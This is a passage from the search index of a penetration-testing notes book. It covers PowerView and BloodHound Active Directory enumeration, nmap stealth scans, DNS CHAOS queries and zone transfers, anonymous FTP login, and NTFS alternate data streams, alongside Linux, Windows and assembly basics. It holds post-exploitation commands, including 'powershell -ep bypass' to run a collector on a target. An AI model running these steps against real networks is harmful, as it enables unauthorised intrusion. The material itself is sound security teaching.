Information"},"221":{"body":"Get-DomainComputer | select samaccountname, operatingsystem","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Domain Machines","id":"221","title":"Get Domain Machines"},"222":{"body":"Get-NetGroup | select samaccountname, admincount, description","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Groups","id":"222","title":"Get Groups"},"223":{"body":"Get-NetGPO | select ,,...","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Group Policy Information","id":"223","title":"Get Group Policy Information"},"224":{"body":"https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters/powerview","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Additional Resources","id":"224","title":"Additional Resources"},"225":{"body":"Bloodhound is a tool used for finding relationships and patterns within data from an Active Directory environment. It is run on the attacker's machine and accessed through a web interface. Bloodhound operates on data and this data comes from a collector which is executed on the target machine.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Overview","id":"225","title":"Overview"},"226":{"body":"Install Bloodhound sudo apt install bloodhound Configure neo4j - Bloodhound relies on a different tool called neo4j. It is best to change its default credentials. run neo4j sudo neo4j console open the link it gives you and use the credentials neo4j:neo4j to login change the password","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Setup","id":"226","title":"Setup"},"227":{"body":"Data is obtained through a collector. There are different ones available. You can get SharpHound from the Bloodhound GitHub repo - https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1. Start neo4j and bloodhound: sudo neo4j console sudo bloodhound Run the collector on the target machine: powershell -ep bypass . .\\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -Domain -ZipFileName Now, move the files to the attacker machine.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Collecting Data for Bloodhound","id":"227","title":"Collecting Data for Bloodhound"},"228":{"body":"In Bloodhound, on the right you should see a button for Upload Data. Select the previously obtained zip file and wait for Bloodhound to process it. In the top left, click on the three dashes and you should see a summary of the data imported:","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Viewing the Data","id":"228","title":"Viewing the Data"},"229":{"body":"Through the analysis tab, you can see a bunch of pre-made queries. Their names are usually self-describing. Clicking on any of them will generate a particular graph expressing a specific relationship within the AD environment: You are also able to create custom queries.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Finding Relationships in the Data","id":"229","title":"Finding Relationships in the Data"},"23":{"body":"Doesn't set any flags. Since null scanning does not set any set flags, it can sometimes penetrate firewalls and edge routers that filter incoming packets with certain flags. It is invoked with the -sN option:","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป Null Scan","id":"23","title":"Null Scan"},"230":{"body":"","breadcrumbs":"System Internals","id":"230","title":"System Internals"},"231":{"body":"","breadcrumbs":"System Internals ยป Linux","id":"231","title":"System Internals"},"232":{"body":"","breadcrumbs":"System Internals ยป Linux ยป Processes ยป User ID","id":"232","title":"User ID"},"233":{"body":"Linux uses a unified file system which begins at the / directory (pronounced \"root\", notwithstanding this unfortunate naming). Directory Description / The anchor of the file system. Pronounced \"root\". /root The home directory of the root user. /home The home directories of non-root users are stored here. /usr All system files are stored here - the U nix S ystem R esource. /etc Stores configuration files. /var Stores variable data files such as logs, caches, etc. /opt Any additional software which is not built-in should be installed here. /tmp Temporary data storage. Its contents are erased at every boot or at a certain period. /proc Runtime process information.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Unified File System","id":"233","title":"Unified File System"},"234":{"body":"A symbolic, or soft , link is a reference in the file system to a particular file. When the symbolic link is used in a command, the file which it references will be used instead. Symbolic links between files (or directories for that matter) can be created by using the following command: ln -s It is important to note that when using relative paths for the link, the path is relative to the link (even after it is moved) and not the current working directory. Essentially, when creating a link with a relative path, the link points to ./file. However, if the link is moved, then ./ will refer to a different directory and the link won't be able to find what it is referencing.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Symbolic Links","id":"234","title":"Symbolic Links"},"235":{"body":"Hard links are different from the symbolic links in the sense that they do not have any relationship to the original path where they link to, but only to its contents. They are just files which reference the same data as another file. Hard links are created by using the following syntax: ln Because hard links bear no connection to the path they were created with, they will still point to the same data even after they are relocated.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Hard Links","id":"235","title":"Hard Links"},"236":{"body":"Every file and directory in Linux is owned by a certain user and a group and is assigned three sets of permissions - owner, group, and all users. The owner permissions describe what the user owning the file can do with it, the group permissions describe what members of the group owning the file can do with it, and the all users permissions describe what the rest of the non-root (root is allowed everything) users which are not members of the file's group can do with it. There are 3 possible type of permissions - read (r), write (x) and execute (x). Regarding the file shown here, the permissions are shown on the left and are represented by every 3 characters after the initial dash (-). So, here the file's owner (cr0mll) has rwx permissions on it. Every member of the sysint group will have rw permissions on the file and all other users will only be able to read it.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Permissions","id":"236","title":"Permissions"},"237":{"body":"The Set Owner User ID (SUID) is a special permission which can be set on executable files. When a file with SUID set is executed, it will always run with the effective UID of the user who owns it, irrespective of which user actually passed the command (so long as the user invoking the command also has execute permissions on the file). The SUID permission is indicated by replacing the x in the permissions of the owning user with s. Setting SUID on a file can be done with the following command: chmod u+s Note The SUID permission on scripts is ignored.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Set Owner User ID (SUID)","id":"237","title":"Set Owner User ID (SUID)"},"238":{"body":"Similarly to SUID, the Set Group ID (SGID) is a special permission which can be set on both executable files and directories. When set on files, it behaves in the same way SUID but rather than the files executing with the privileges of the owning user, they execute with the effective GID the owning group. When set on a directory, any file created within that directory will automatically have their group ownership set to one specified by the folder. Setting SGID on a file can be done with the following command: chmod g+s Note The SGID permission on scripts is ignored.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Set Group ID (SGID)","id":"238","title":"Set Group ID (SGID)"},"239":{"body":"The sticky bit is a special permission which can be applied to directories in order to limit file deletion within them to the owners of the files. It is denoted by a t in the place of the x permission for the directory and can be set with the following command: chmod +t ","breadcrumbs":"System Internals ยป Linux ยป File System ยป Sticky Bit","id":"239","title":"Sticky Bit"},"24":{"body":"Sets just the FIN bit to on. It is invoked with -sF:","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป FIN Scan","id":"24","title":"FIN Scan"},"240":{"body":"The command line, is a text-based interface which allows for interaction with the computer and execution of commands. The actual command interpreter which carries out the commands is referred to as the shell and there are multiple examples of shells such as bash, zsh, sh, etc.","breadcrumbs":"System Internals ยป Linux ยป Command Line ยป Introduction","id":"240","title":"Introduction"},"241":{"body":"It is possible to redirect input and output from and to files when invoking commands: Redirection Description < in_file Redirect in_file into the command's standard input. > out_file Redirect the command's standard output into out_file by overwriting it. >> out_file Redirect the command's standard output into out_file by appending to it. > err_file Redirect the command's standard error into err_file by overwriting it. >> err_file Redirect the command's standard error into err_file by appending to it.","breadcrumbs":"System Internals ยป Linux ยป Command Line ยป Input and Output Redirection","id":"241","title":"Input and Output Redirection"},"242":{"body":"Moreover, information may be redirected directly from one command to another by using unnamed pipes (|).","breadcrumbs":"System Internals ยป Linux ยป Command Line ยป Pipes","id":"242","title":"Pipes"},"243":{"body":"","breadcrumbs":"System Internals ยป Windows","id":"243","title":"System Internals"},"244":{"body":"Active Directory (AD) is a directory service for Windows network environments. It allows an organisation to store directory data and make it available to the users in a given network. AD has a distributed hierarchical structure that allows for the management of an organisation's resources such as users, computers, groups, network devices, file shares, group policies, servers, workstations and trusts. Furthermore, it provides authentication and authorization functionality to Windows domain environments. Essentially, AD is a large database of information which is accessible to all users within a domain, irrespective of their privilege level. This means that a standard user account can be used to enumerate a large portion of all AD components.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Introduction","id":"244","title":"Introduction"},"245":{"body":"Resources in Active Directory are represented by objects. An object is any resource present within Active Directory such as OUs, printers, users, domain controllers, etc. Every object has a set of characteristic attributes which describe it. For example, a computer object has attributes such as hostname and DNS name. Additionally, all AD attributes are associated with an LDAP name which can be used when performing LDAP queries. Every object carries information in these attributes, some of which are mandatory and some optional. Objects can be instantiated with a predefined set of attributes from a class in order to make the process of object creation easier. For example, the computer object PC1 will be an instance of the computer class in Active Directory. It is common for objects to contain other objects, in which case they are called containers . An object holding no other objects is known as a leaf .","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Objects","id":"245","title":"Objects"},"246":{"body":"Objects are organised in logical groups called domains . These can further have nested subdomains in them and can either operate independently or be linked to other domains via trust relationships. A root domain together with all of its subdomains and nested objects is known as a tree . A collection of trees is referred to as a forest (really???). It is the root container for all objects in a given AD environment. Following is an example forest with a single tree: COMPANY.LOCAL/\nโ”œโ”€ ADMIN.COMPANY.LOCAL\nโ”‚ โ”œโ”€ GPOs\nโ”‚ โ”œโ”€ OUs\nโ”‚ โ”‚ โ”œโ”€ EMPLOYEES\nโ”‚ โ”‚ โ”‚ โ”œโ”€ COMPUTERS\nโ”‚ โ”‚ โ”‚ โ”‚ โ”œโ”€ PC1\nโ”‚ โ”‚ โ”‚ โ”œโ”€ USERS\nโ”‚ โ”‚ โ”‚ โ”‚ โ”œโ”€ jdoe\nโ”‚ โ”‚ โ”‚ โ”œโ”€ GROUPS\nโ”‚ โ”‚ โ”‚ โ”‚ โ”œโ”€ STAFF\nโ”œโ”€ DEV.COMPANY.LOCAL\nโ”œโ”€ MAIL.COMPANY.LOCAL","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Object Organisation","id":"246","title":"Object Organisation"},"247":{"body":"The full path to an object in AD is specified via a Distinguished Name (DN) . A Relative Distinguished Name (RDN) is a single component of the DN that separates the object from other objects at the current level in the naming hierarchy. RDNs are represented as attribute-value pairs in the form attribute=value, typically expressed in UTF-8. A DN is simply a comma-separated list of RDNs which begins with the top-most hierarchical layer and becomes more specific as you go to the right. For example, the DN for the John Doe user would be dc=local,dc=company,dc=admin,ou=employees,ou=users,cn=jdoe. The following attribute names for RDNs are defined: LDAP Name Attribute DC domainComponent CN commonName OU organizationalUnitName O organizationName STREET streetAddress L localityName ST stateOrProvinceName C countryName UID userid It is also important to note that the following characters are special and need to be escaped by a \\ if they appear in the attribute value: Character Description space or # at the beginning of a string space at the end of a string , comma + plus sign \" double quotes \\ backslash / forwards slash < left angle bracket > right angle bracket ; semicolon LF line feed CR carriage return = equals sign","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Distinguished Name (DN) & Relative Distinguished Name (RDN)","id":"247","title":"Distinguished Name (DN) & Relative Distinguished Name (RDN)"},"248":{"body":"Trusts in Active Directory allow for forest-forest or domain-domain links. They allow users in one domain to access resources in another domain where their account does not reside. The way they work is by linking the authentication systems between two domains. The two parties in a trust do not necessarily have the same capabilities with respect to each other: One-way trusts allow only one party to access the resources of the other. The trusted domain is considered the one accessing the resources and the trusting domain is the one providing them. Two-way trusts allow the parties to mutually access each other's resources. Additionally, trusts can either be transitive or non-transitive. Transitivity means that the trust relationship is propagated upwards through a domain tree as it is formed. For example, a transitive two-way trust is established between a new domain and its parent domain upon creation. Any children of the new domain (grandchildren of the parent domain) will also then share a trust relationship with the master parent. Five possible types of trusts can be discerned depending on the relationships between the systems being linked: Trust Description Parent-child A two-way transitive relationship between a parent and a child domain. Cross-link A trust between two child domains at the same hierarchical level, which is used to speed up authentication. External A non-transitive trust between two separate domains in separate forests which are not already linked by a forest trust. Tree-root A two-way transitive trust between a forest root domain and a new tree root domain. Forest A transitive trust between two forest root domains in separate forests.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Trusts","id":"248","title":"Trusts"},"249":{"body":"A contact in AD contains information about an external person or company that may need to be contacted on a regular basis. Contact objects are instances of the Contact class and are considered leaf objects. Their attributes include first name, last name, email address, telephone number, etc. Contacts are not security principals - they lack a SID and only have a GUID.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Contacts ยป Introduction","id":"249","title":"Introduction"},"25":{"body":"Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree. It is performed through the -sX option:","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป Xmas Scan","id":"25","title":"Xmas Scan"},"250":{"body":"Security Principal - any object which can be authenticated by the operating system, such as user or computer accounts, or a thread/process running in the security context of a user or computer account, or the security groups for these accounts. Security Identifier (SID) - a unique identifier which identifies a security principal/group. Every security principal has its own unique SID, which is issued by the domain controller and stored in a security database.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Terminology","id":"250","title":"System Internals"},"251":{"body":"A user in AD stores information about an employee or contractor who works for the organisation. These objects are instances of the User class . User objects are leaf objects, since they do not contain any other objects. Every user is considered a security principal and has its own SID and GUID. Additionally, user objects can have numerous different attributes such as display name, email address, last login time, etc - well in excess of 800.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Users ยป Introduction","id":"251","title":"Introduction"},"252":{"body":"Domain Users in AD are the ones who are capable of accessing resources in the Active Directory environment. These users can log into any host on the network. All domain users have 5 essential naming attributes as well as many others: Attribute Description UserPrincipalName (UPN) The primary logon name for the user, which uses the user's email by convention. ObjectGUID A unique identifier for the user which is never changed even after removal of the user. SAMAccountName A logon name providing support for previous versions of Windows. objectSID The user's security identifier (SID) which identifies the user and their group memberships. sIDHistory A history of the user's SIDs which keeps track of the SIDs for the user when they migrate from one domain to another.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Users ยป Domain Users","id":"252","title":"Domain Users"},"253":{"body":"Groups are instances of the AD Group class. They provide the means to mass assign permissions to users, making administration a lot easier. The administrator assigns a set of privileges to the group and they will be inherited by any user who joins it. Groups have two essential characteristics - type and scope.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Introduction","id":"253","title":"Introduction"},"254":{"body":"The group type identifies the group's purpose and must be chosen upon creation of the group. There are two types of groups. Security groups are best suited precisely for the purpose described above - mass assignment of permissions to users. Distributions groups are a bit different - they are unable to assign any permissions and are really only used by email applications for the distribution of messages to their members. They resemble mailing lists and can be auto-filled in the recipient field when sending emails using Microsoft Outlook.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Group Type","id":"254","title":"Group Type"},"255":{"body":"There are three possible group scopes and once again must be selected upon creation of the group. The group scope determines the level of permissions that can be assigned via the group. Domain Local groups can only be used to manage permissions only regarding resources within the domain that the group belongs to. Whilst such groups cannot be used in other domains, they can contain users from other domains. Additionally, nesting of domain local groups is allowed within other domain local groups but not within global ones. Global groups allow access to resources in a different domain from the one they belong to, although they may only contain users from their origin domain. Nesting of global groups is allowed both in other global groups and local groups. Universal groups allow permissions management across all domains within the same forest. They are stored in the Global Catalog and any change made directly to them triggers forest-wide replication. To avoid unnecessary replications, administrators are advised to keep users and computers in global groups which are themselves stored in universal groups. It is also possible to change the scope of a group under certain conditions: A global group can be promoted to a universal group if it is not part of another global group. A domain local group can be promoted to a universal group if it does not contain any other domain local groups. A universal group can be demoted to a global group if it does not contain any other universal groups. A universal group can be freely demoted to a domain local group.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Group Scope","id":"255","title":"Group Scope"},"256":{"body":"Some built-in groups are automatically created when an AD environment is set up. These groups have specific purposes and cannot contain other groups - only users. Group Name Description Account Operators Management of most account types with the exception of the Administrator account, administrative user accounts, or members of the Administrators, Server Operators, Account Operators, Backup Operators, or Print Operators groups. Additionally, members can log in locally to domain controllers. Administrators Full access to a computer or an entire domain provided that they are in this group on a domain controller. Backup Operators Ability to back up or restore all files on a computer, irrespective of the permissions set on it; ability to log on and shut down the computer; ability to log on domain controllers locally; ability to make shadow copies of SAM/NTDS databases. DnsAdmins Access to DNS network information. Only created if the DNS server role is installed at some point on a domain controller. Domain Admins Full permissions to administer the domain; local administrators on every domain-joined machine. Domain Computers Stores all computers which are not domain controllers. Domain Controllers Stores all domain controllers in the domain. Domain Guests Includes the built-in Guest account. Domain Users Stores all users in the domain. Enterprise Admins Complete configuration access within the domain; ability to make forest-wide changes such as creating child domains and trusts; only exists in root domains. Event Log Readers Ability to read event logs on local computers. Group Policy Creator Owners Management of GPOs in the domain. Hyper-V Administrators Complete access to all Hyper-V features. IIS_IUSRS Used by IIS. Preโ€“Windows 2000 Compatible Access Provides backwards-compatibility with Windows NT 4.0 or earlier. Print Operators Printer management; ability to log on to DCs and load printer drivers. Protected Users Provides additional protection against attacks such as credential theft or Kerberoasting. Read-Only Domain Controllers Contains all read-only DCs in the domain. Remote Desktop Users Ability to connect to a host via RDP. Remote Management Users Schema Admins Ability to modify the AD schema. Server Operators Ability to modify services, SMB shares and backup files on domain controllers.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Default Groups","id":"256","title":"Default Groups"},"257":{"body":"Domain Controllers (DCs) are at the heart of Active Directory. There are Flexible Single Master Operation (FSMO) roles which can be assigned separately to domain controllers in order to avoid conflicts when data is update in the AD environment. These roles are the following: Role Description Schema Master Management of the AD schema. Domain Naming Master Management of domain names - ensures that no two domains in the same forest share the same name. Relative ID (RID) Master Assignment of RIDs to other DCs within the domain, which helps to ensure that no two objects share the same SID. PDC Emulator The authoritative DC in the domain - responds to authentication requests, password changes, and manages Group Policy Objects (GPOs). Additionally, it keeps track of time within the domain. Infrastructure Master Translation of GUIDs, SIDs, and DNs between domains in the same forest.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Domain Controllers ยป Introduction","id":"257","title":"Introduction"},"258":{"body":"A computer object is an instance of the Computer class in Active Directory and represents a workstation or server connected to the AD network. Computer objects are security principals and therefore have both a SID and GUID. These are prime targets for adversaries, since full administrative access to a computer (NT AUTHORITY\\SYSTEM) grants privileges similar to those of a standard domain user and can be used to enumerate the AD environment.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Computers ยป Introduction","id":"258","title":"Introduction"},"259":{"body":"Windows uses the New Technology File System (NTFS) for managing its files and folders. What makes it special is its ability to automatically repair files and folders on disk using log files in case of a failure. Additionally, it lifts certain limitations which were characteristic of its predecessors by supporting files larger than 4GB, being able to set permissions on specific files and folders and being able to avail itself of both compression and encryption. Another peculiar feature of NTFS are Alternate Data Streams .","breadcrumbs":"System Internals ยป Windows ยป File System ยป Introduction","id":"259","title":"Introduction"},"26":{"body":"The BIND software is the most commonly used name server software, which supports CHAOSNET queries. This can be used to query the name server for its software type and version. We are no longer querying the domain name system but are instead requesting information about the BIND instance. Our queries will still take the form of domain names - using .bind as the top-level domain. The results from such a query are returned as TXT records. Use the following syntax for quering BIND with the CHAOS class: dig @ โ”Œโ”€โ”€(cr0mll@kali)-[~]-[]\nโ””โ”€$ dig @192.168.129.138 chaos version.bind txt ; <<>> DiG 9.16.15-Debian <<>> @192.168.129.138 chaos version.bind txt\n; (1 server found)\n;; global options: +cmd\n;; Got answer:\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38138\n;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1\n;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION:\n; EDNS: version: 0, flags:; udp: 4096\n;; QUESTION SECTION:\n;version.bind. CH TXT ;; ANSWER SECTION:\nversion.bind. 0 CH TXT \"9.8.1\" ;; AUTHORITY SECTION:\nversion.bind. 0 CH NS version.bind. ;; Query time: 0 msec\n;; SERVER: 192.168.129.138#53(192.168.129.138)\n;; WHEN: Tue Sep 14 16:24:35 EEST 2021\n;; MSG SIZE rcvd: 73 Looking at the answer section, we see that this name server is running BIND 9.8.1. Other chaos records you can request are hostname.bind, authors.bind, and server-id.bind.","breadcrumbs":"Reconnaissance ยป Enumeration ยป DNS Server Enumeration (53) ยป Enumerating BIND servers with CHAOS","id":"26","title":"Enumerating BIND servers with CHAOS"},"260":{"body":"NTFS allows for every user/group to have its own set of permissions on every file and folder in the file system tree. The following six types of permissions can be set: Permission On Files On Folders Read View or access the file's contents. View and list files and subfolders. Write Write to the file. Add files or subfolders. Read & Execute View or access the file's contents as well as execute the file. View and list files and subfolders as well as execute files. Inherited by both files and folders. List Folder Contents N/A View and list files and subfolders as well as execute files. Inherited only by folders. Modify Read and write to the file, or delete it. Read and write to files and subfolders, or delete the folder. Full Control Read, write, change or delete the file. Read, write, change or delete files and subfolders.","breadcrumbs":"System Internals ยป Windows ยป File System ยป Permissions","id":"260","title":"Permissions"},"261":{"body":"Permissions can be inspected from the command line by running icacls The last set of () for each user/group tell you the permissions: F - Full Control M - Modify RX - Read & Execute R - Read W - Write Additionally, the permissions on a file/folder can be inspected by right-clicking on the item in Windows Explorer, following Properties->Security and then selecting the user/group you want to see the permissions for.","breadcrumbs":"System Internals ยป Windows ยป File System ยป Inspecting Permissions","id":"261","title":"Inspecting Permissions"},"262":{"body":"A not very well-known, yet interesting feature of NTFS are the so-called Alternate Data Streams. These were implemented for better Macintosh file support, but they can lead to security vulnerabilities and ways to hide data. A data stream can be thought of as a file within another file. Each stream has its own allocated disk space, size and file locks. Moreover, alternate data streams are invisible to Windows Explorer which makes them an easy way to hide data within legitimately looking files. Every file in NTFS has at least one default data stream where its data is stored. The default data stream is innominate and any stream which does have a name is considered an alternate data stream.","breadcrumbs":"System Internals ยป Windows ยป File System ยป Alternate Data Streams (ADS)","id":"262","title":"Alternate Data Streams (ADS)"},"263":{"body":"ADSs cannot be manipulated via Windows Explorer and so the command-line is needed. File operations with alternate data streams on the command-line work the same, but you will need to use the : format to refer to the stream you want to manipulate. For example, echo hello > file.txt\necho secret > file.txt:hidden Windows Explorer is completely oblivious to the alternate data stream. The command-line, however, is not: Additionally, the dir /R command can be used to list alternate data streams for files in a directory: A more sophisticated tool for managing ADSs, called Streams comes with the SysInternals suite. It can be used with the -s option to recursively show all streams for the files in a directory: The number next to the stream name is the size of the data stored in the stream. Streams can also be used to delete all streams from a file with the -d option:","breadcrumbs":"System Internals ยป Windows ยป File System ยป Working with ADSs","id":"263","title":"Working with ADSs"},"264":{"body":"","breadcrumbs":"Reverse Engineering ยป Reverse Engineering","id":"264","title":"Reverse Engineering"},"265":{"body":"","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Program Anatomy","id":"265","title":"Program Anatomy"},"266":{"body":"The stack is a place in memory. It's a Last-In-First-Out (LIFO) data structure, meaning that the last element to be added will be the first to get removed. Each process has access to its own stack which isn't bigger than a few megabytes. Adding data to the stack is called pushing onto the stack, whilst removing data is called popping off the stack. Although the location of the added or removed data is fixed (it's always to or from the top of the stack), existing data can still be read or written to arbitrarily. A special register is used for keeping track of the top of the stack - the stack pointer or rsp. When pushing data, the stack pointer diminishes , and when removing data, the stack pointer augments . This is because the stack grows from higher to lower memory addresses.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Stack ยป The Stack","id":"266","title":"The Stack"},"267":{"body":"When a function is invoked, a stack frame is constructed. First, the function's arguments which do not fit into the registers are pushed on the stack, then the return address is also pushed. Following this, the value of a special register known as the base pointer (rbp) is saved onto the stack and the value inside the register is then updated to point to the location on the stack where we saved the base pointer. From then on, the stack pointer is used for allocating local data inside the function and the base pointer is used for accessing this data. long func(long a, long b, long c, long d, long e, long f, long g, long h)\n{ long x = a * b * c * d * e * f * g * h; long y = a + b + c + d + e + f + g + h; long z = otherFunc(x, y); return z + 20;\n} Sometimes, the base pointer might be completely absent in optimised programs because compilers are good enough in keeping track of offsets directly from the stack pointer.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Stack ยป Stack Frames","id":"267","title":"Stack Frames"},"268":{"body":"Each program is comprised of a set of instructions which tell the CPU what operations it needs to perform. Different CPU architectures make use of different instruction sets, however, all of them boil down to two things - an opertation code (opcode) and optional data that the instruction operates with. These are all represented using bits - 1s and 0s.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป Instructions","id":"268","title":"Instructions"},"269":{"body":"Moves the value inside one register to another: mov rax, rdx","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป mov","id":"269","title":"mov"},"27":{"body":"A Zone transfer request provides the means for copying a DNS zone file from one name server to another. This, however, only works over TCP. By doing this, you can obtain all the records of a DNS server for a particular zone. This is done through the AXFR request type: dig @ AXFR โ”Œโ”€โ”€(cr0mll0@kali)-[~]-[]\nโ””โ”€$ dig @192.168.129.138 AXFR nsa.gov ; <<>> DiG 9.16.15-Debian <<>> @192.168.129.138 AXFR nsa.gov\n; (1 server found)\n;; global options: +cmd\nnsa.gov. 3600 IN SOA ns1.nsa.gov. root.nsa.gov. 2007010401 3600 600 86400 600\nnsa.gov. 3600 IN NS ns1.nsa.gov.\nnsa.gov. 3600 IN NS ns2.nsa.gov.\nnsa.gov. 3600 IN MX 10 mail1.nsa.gov.\nnsa.gov. 3600 IN MX 20 mail2.nsa.gov.\nfedora.nsa.gov. 3600 IN TXT \"The black sparrow password\"\nfedora.nsa.gov. 3600 IN AAAA fd7f:bad6:99f2::1337\nfedora.nsa.gov. 3600 IN A 10.1.0.80\nfirewall.nsa.gov. 3600 IN A 10.1.0.105\nfw.nsa.gov. 3600 IN A 10.1.0.102\nmail1.nsa.gov. 3600 IN TXT \"v=spf1 a mx ip4:10.1.0.25 ~all\"\nmail1.nsa.gov. 3600 IN A 10.1.0.25\nmail2.nsa.gov. 3600 IN TXT \"v=spf1 a mx ip4:10.1.0.26 ~all\"\nmail2.nsa.gov. 3600 IN A 10.1.0.26\nns1.nsa.gov. 3600 IN A 10.1.0.50\nns2.nsa.gov. 3600 IN A 10.1.0.51\nprism.nsa.gov. 3600 IN A 172.16.40.1\nprism6.nsa.gov. 3600 IN AAAA ::1\nsigint.nsa.gov. 3600 IN A 10.1.0.101\nsnowden.nsa.gov. 3600 IN A 172.16.40.1\nvpn.nsa.gov. 3600 IN A 10.1.0.103\nweb.nsa.gov. 3600 IN CNAME fedora.nsa.gov.\nwebmail.nsa.gov. 3600 IN A 10.1.0.104\nwww.nsa.gov. 3600 IN CNAME fedora.nsa.gov.\nxkeyscore.nsa.gov. 3600 IN TXT \"knock twice to enter\"\nxkeyscore.nsa.gov. 3600 IN A 10.1.0.100\nnsa.gov. 3600 IN SOA ns1.nsa.gov. root.nsa.gov. 2007010401 3600 600 86400 600\n;; Query time: 4 msec\n;; SERVER: 192.168.129.138#53(192.168.129.138)\n;; WHEN: Fri Sep 17 22:38:47 EEST 2021\n;; XFR size: 27 records (messages 1, bytes 709)","breadcrumbs":"Reconnaissance ยป Enumeration ยป DNS Server Enumeration (53) ยป DNS Zone Transfer","id":"27","title":"DNS Zone Transfer"},"270":{"body":"Load effective address - this instruction calculates the address of its second operand and moves it into its first operand: lea rdx, [rax+0x10] This will move rax+0x10 inside rdx.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป lea","id":"270","title":"lea"},"271":{"body":"This instruction adds its operands and stores the result in its first operand: add rax, rdx","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป add","id":"271","title":"add"},"272":{"body":"This instruction subtracts the second operand from the first and stores the result in its first operand sub rax, 0x9","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป sub","id":"272","title":"sub"},"273":{"body":"It performs XOR-ing on its operands and stores the results into the first operand: xor rdx, rax The and and or are the same, but instead perform a binary AND and a binary OR operation, respectively.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป xor","id":"273","title":"xor"},"274":{"body":"Decreases the stack pointer (grows the stack) by 8 (4 on x86) bytes and stores the contents of its operand on the stack: push rax","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป push","id":"274","title":"push"},"275":{"body":"Increases the stack pointer (shrinks the stack) by 8 (4 on x86) bytes and stores the popped value from the stack into its operand: pop rax","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป pop","id":"275","title":"pop"},"276":{"body":"Jumps to the address specified - used for redirecting code execution: jmp 0x6A2B10","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป jmp","id":"276","title":"jmp"},"277":{"body":"Used for invoking procedures. It first pushes the values of the base and stack pointers onto the stack and then jumps to the specified address. After the function is finished, a ret instruction is issued which restores the values of the stack and base pointers from the stack and continues execution from where it left off.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป call","id":"277","title":"call"},"278":{"body":"It compares the value of its two operands and sets the according flags depending on the result: cmp rax, rdx If rax < rdx, the zero flag is set to 0 and the carry flag is set to 1. If rax > rdx, the zero flag is set to 0 and the carry flag is set to 0. If rax = rdx, the zero flag is set to 1 and the carry flag is set to 0.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป cmp","id":"278","title":"cmp"},"279":{"body":"jump-if-zero and jump-if-not-zero execute depending on the state of the zero flag.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป jz / jnz","id":"279","title":"jz / jnz"},"28":{"body":"The File Transfer Protocol (FTP) is a common protocol which you may find during a penetration test. It is a TCP-based protocol and runs on port 21. Luckily, its enumeration is simple and rather straight-forward. You can use the ftp command if you have credentials: ftp You can then proceed with typical navigation commands like dir, cd, pwd, get and send to navigate and interact with the remote file system. If you don't have credentials you can try with the usernames guest, anonymous, or ftp and an empty password in order to test for anonymous login.","breadcrumbs":"Reconnaissance ยป Enumeration ยป FTP Enumeration (21) ยป Introduction","id":"28","title":"Introduction"},"280":{"body":"The heap is a memory region which allows for dynamic 